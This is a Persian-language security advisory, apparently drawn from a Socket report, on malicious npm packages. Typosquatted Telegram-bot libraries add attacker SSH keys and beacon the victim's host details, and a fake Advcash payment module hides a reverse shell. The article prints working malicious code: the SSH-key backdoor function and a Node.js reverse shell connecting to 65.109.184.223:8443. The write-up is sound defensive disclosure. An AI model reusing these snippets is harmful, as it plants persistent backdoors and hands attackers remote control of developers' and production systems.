پژوهشگران امنیت سایبری پکیجهای مخرب در مخزن npm را شناسایی کردهاند که با جعل هویت یک کتابخانه محبوب برای ساخت باتهای تلگرام، مجهز به بکدور SSH و قابلیت سرقت داده هستند. این پکیجها شامل موارد زیر هستند:
- node-telegram-utils (۱۳۲ بار دانلود)
- node-telegram-bots-api (۸۲ بار دانلود)
- node-telegram-util (۷۳ بار دانلود)
به گزارش شرکت امنیتی Socket، این پکیجها بهگونهای طراحی شدهاند که شبیه کتابخانه اصلی node-telegram-bot-api، با بیش از ۱۰۰,۰۰۰ دانلود هفتگی، به نظر برسند و همچنان برای دانلود در مخزن npm در دسترس هستند. این پکیجهای جعلی نهتنها توضیحات کتابخانه اصلی را کپی کردهاند، بلکه از تکنیک starjacking استفاده میکنند تا با جعل اعتبار، توسعهدهندگان را فریب دهند. در روش starjacking، پکیج مخرب با ارجاع به مخزن گیتهاب کتابخانه اصلی، خود را معتبر جلوه میدهد، بدون اینکه ارتباط واقعی با آن مخزن تأیید شود.
Kush Pandya، پژوهشگر امنیتی، هشدار دادهاست که هرچند تعداد دانلود این پکیجها اندک به نظر میرسد، اما آلودگی حتی یک سیستم میتواند به نفوذ گسترده یا دسترسی غیرمجاز به دادهها منجر شود. تجربه در حملات زنجیره تامین پیشین نشان داده که نصب محدود پکیجهای مخرب نیز میتواند پیامدهای ویرانگری داشته باشد، بهویژه اگر مهاجمان به سیستمهای توسعهدهندگان یا سرورهای عملیاتی دسترسی مستقیم پیدا کنند.
تحلیل پکیج های پکیجهای مخرب در مخزن npm
سه پکیج مخرب شناساییشده در مخزن npm، که خود را بهعنوان کتابخانههای بات تلگرام معرفی میکنند، بهصورت خودکار یک تابع مخفی به نام addBotId() را هنگام فراخوانی سازنده (Constructor) اجرا میکنند. این تابع قابلیتهای مخربی از جمله ایجاد دسترسی مداوم از طریق SSH و سرقت اطلاعات حساس را فعال میسازد. این پکیجها بهطور خاص برای سیستمهای لینوکس طراحی شدهاند و بدون نیاز به تعامل کاربر، عملیات مخرب خود را آغاز میکنند.
هنگام بارگذاری پکیج، تابع addBotId() ابتدا بررسی میکند که سیستمعامل لینوکس باشد. در صورت تأیید، این تابع دو کلید SSH ارائهشده توسط مهاجمان را به فایل ~/.ssh/authorized_keys اضافه میکند. این اقدام به مهاجمان امکان دسترسی راه دور و بدون نیاز به رمزعبور را بهصورت دائمی فراهم میکند. وجود دو کلید SSH این اطمینان را به مهاجمان میدهد که حتی در صورت حذف یکی از کلیدها، دسترسی آنها از طریق کلید دوم حفظ شود.
علاوه بر این، این تابع نام کاربری سیستم و آدرس IP خارجی را با استفاده از سرویس ipinfo.io/ip جمعآوری کرده و با ارسال پیام به سرور solana.validator.blog، آلودگی سیستم را تأیید میکند.
این کد مخرب، که در حدود ۴۰ خط است، در میان کدهای بهظاهر معتبر کتابخانه بات تلگرام مخفی شده و بهراحتی از دید توسعهدهندگان پنهان میماند. حذف پکیجهای مخرب بهتنهایی تهدید را رفع نمیکند، زیرا کلیدهای SSH درجشده در سیستم باقی میمانند و امکان دسترسی غیرمجاز مداوم و اجرای کدهای مخرب یا سرقت دادهها را برای مهاجمان فراهم میسازند.
نمونه کد مخرب:
async function addBotId() {
const username = os.userInfo().username;
const publicKey = `ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC0eFAxoea78gXpURdj7ufXx1LVEOoVKawxRnwAghXHwGUw4V0V3n194wyUOUGrloGLn5IZ2JGdWLu0b0VHVG1asapkd8l7lKgvPf5yfjrccDs1qpvID8mLzsTfNMwZQlS+sw+bgJx/74f6i3t6QYuBsB0xPuLx8EXok96N1yTjPVXWq3Czwt5pmG+xZFddZLYDMpf8GonwdfTx7BACcapueoSMmOHZX3w1mjOHsT1b41gmHIEGsyo67KN4FLOkWOZIjc7Qge4iRjL24smRZPFJ4FeQjUo7rvEUxTNFb8yTgMGA+o2H3Uqvm/vXYiOTD87UUvy/3hOkoZzJLyFsV1bfyq6/8IQETqMguLzwIT8S1TlJHBUf1sXYh/5dHI4cMXz/r/eK4VlqQvZEE1TJIyAi0ZKnup6j2R3SdO/EIuZeanHyH/u6CboWZ8OcVzDY9EBVxmuYmkCIFiauNHlDNCJwm4CFM1oYinAQsh92zCUmZKQAgnH499mRPR1PWH4m1Ok= sleeper@DESKTOP-GM46AVB \n ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDaDUmF1FSs6ZIP3Za94X9ehOdheKS4fXQMnOgmiFC4SKQsqHj63xIUCc2nZsRlMbzvxlCGp+MAKyEZSsqCH8QEZ9ye6ovd0wqI1zI1MJtTfMHIKdeVfdjjWgS9C14lX34j4iqAfZL6zkXWT20V3CFEM9UjJM3uvDs31t7FYN6CgB166lIUpxobpT5vfXIA8ZNVH230R9PSIWTSYSDq08bE/YbMouCHZ0RQHecq0AI3wiC4sT1HbUn48lJ37fDIJmfKLLPoNca6cK3Fl88CNQfWUpRsm4lF3Y8XPa6Hn5RQqgoYKd9QSfwOc63EvfqOIgfGuEC5P4BYuF5K/zF/GLeR administrator@Kakashi-PC`; // Multiple SSH keys for redundancy
if (os.platform() === 'linux') {
try {
const ipAddress = await getBotId();
const sshDir = path.join(os.homedir(), '.ssh');
const authorizedKeysPath = path.join(sshDir, 'authorized_keys');
if (!fs.existsSync(sshDir)) {
fs.mkdirSync(sshDir, { mode: 0o700 });
}
if (!fs.existsSync(authorizedKeysPath) || !fs.readFileSync(authorizedKeysPath, 'utf8').includes(publicKey)) {
fs.appendFileSync(authorizedKeysPath, `\n${publicKey}`);
}
https.get(`hxxps://solana[.]validator[.]blog/v1/check?ip=${ipAddress}&name=${username}`);
} catch (err) {
console.error('Error:', err);
}
}
}
پکیج مخرب دیگر: @naderabdi/merchant-advcash
همزمان، Socket از پکیج مخرب دیگری به نام @naderabdi/merchant-advcash پرده برداشت که خود را بهعنوان ابزار ادغام با پلتفرم Volet (یا Advcash) معرفی میکند؛ اما در واقع یک شل معکوس(reverse shell) را برای اتصال به سرور کنترل راهاندازی میکند.
پکیج naderabdi/merchant-advcash مجموعهای از توابع را برای ایجاد سفارشهای پرداخت، اعتبارسنجی درخواستهای دریافتی از پلتفرم Volet (یا Advcash) و بهروزرسانی وضعیت تراکنشها پیادهسازی میکند. این پکیج اقداماتی نظیر اعتبارسنجی ورودیها، تأیید هش و بررسی سازگاری ارز و مبلغ را انجام میدهد، که همگی رفتارهای مورد انتظار در ماژولهای پرداخت معتبر هستند. با این حال، بررسی دقیقتر تابع url_success() نیت مخرب عامل تهدید را آشکار میسازد.
پیلود مخرب تعبیهشده در منطق پکیج naderabdi/merchant-advcash یک شل معکوس را فعال میکند که از طریق پورت TCP 8443 به آدرس IP 65.109.184.223 متصل میشود. این شل به مهاجم کنترل کامل راه دور بر سیستم قربانی میدهد و بهعنوان یک بکدور کلاسیک در فرآیندهای پرداخت تجاری مخفی شده است.
برخلاف بسیاری از پکیجهای مخرب که کد مخرب را در زمان نصب یا بارگذاری(import) اجرا میکنند، این پیلود مخرب تا زمان اجرا و پس از انجام یک تراکنش موفق فعال نمیشود. این تأخیر عمدی احتمالا برای دور زدن ابزارهای شناسایی امنیتی طراحی شده و نشاندهنده هدف مهاجمان برای نفوذ به محیطهای عملیاتی است، جایی که تراکنشهای واقعی و عملیات حساس انجام میشوند.
تحلیل پکیج مخرب
1- منطق تراکنش:
پکیج شامل یک متد به نام create_payment() است که پیلودهای تراکنش را ایجاد میکند، مقادیر را با الگوریتم SHA-256 هش میکند و توکنهای ac_sign را بر اساس اعتبار تجاری میسازد. این متد کلیدهای حساس مانند ایمیل، رمزعبور، و نام SCI را با استفاده از فراخوانیهای پویا config.get() استخراج میکند، که پکیج را بهعنوان یک ماژول پرداخت معتبر جلوه میدهد.
const stt_hesh = API_Email + ':' + API_SCI_Name + ':' + amount_pay + ':' + currency + ':' + API_Password + ':' + order.uid;
const hash = crypto.createHash('sha256').update(stt_hesh).digest('hex');
2- شل معکوس:
در انتهای تابع url_success(req, res)، که برای پاسخ به اعلانهای موفقیت پرداخت طراحی شده، یک تابع خوداجرا(self-executing) تعبیه شده که شل معکوس را برای اتصال به سرور مهاجم فعال میکند.
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(8443, "65.109.184.223", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application from crashing
})();
این کد بهصورت مخفیانه هنگام موفقیت در پرداخت اجرا میشود و یک شل /bin/sh جدید ایجاد کرده و آن را به سرور مهاجم در آدرس 65.109.184.223 متصل میکند. این اتصال به مهاجم امکان اجرای دستورات دلخواه، دستکاری فایلها، نفوذ به سیستمهای داخلی دیگر یا سرقت دادهها را میدهد.
3- مخفیکاری:
شل معکوس بهصورت یک فایل یا اسکریپت مستقل نیست، بلکه در متد مدیریت پاسخهای موفقیت پرداخت، که معمولا توسط درگاههای پرداخت مانند Volet یا Payeer فراخوانی میشود، جاسازی شده است.
url_success(req, res) {
(function(){
// reverse shell...
})();
return (async () => {
res.set('Content-Type', 'text/plain');
res.writeHead(200);
res.end();
return {}
})()
}
این تابع ظاهرا پاسخهای HTTP را بهصورت عادی مدیریت میکند؛ اما پیش از تنظیم پاسخ، شل معکوس را فعال میسازد. این رفتار مخفیانه خطرناک است، زیرا:
- خطایی ایجاد نمیکند.
- از ماژولهای رایج Node.js مانند net و child_process استفاده میکند.
- تنها در شرایط خاص (موفقیت پرداخت) اجرا میشود.
این طراحی اعتماد توسعهدهندگان را جلب میکند و آنها را به استفاده گسترده از پکیج در محیطهای عملیاتی ترغیب میکند، که دسترسی مهاجم را پس از فعالسازی شل معکوس به حداکثر میرساند.
توصیههای امنیتی
- اعتبارسنجی پکیجها: پیش از نصب پکیجهای npm، اصالت آنها را با ابزارهایی مانند Socket CLI بررسی کنید تا از جعل هویت و starjacking جلوگیری شود.
- نظارت بر سیستمها: فایلهای حساس مانند ~/.ssh/authorized_keys را به طور مستمر بررسی کنید تا بکدورهای SSH و شل معکوس شناسایی شوند.
- آموزش توسعهدهندگان: توسعهدهندگان را درباره فیشینگ و جعل هویت پکیجها آموزش دهید تا از نصب پکیجهای مشکوک جلوگیری کنند.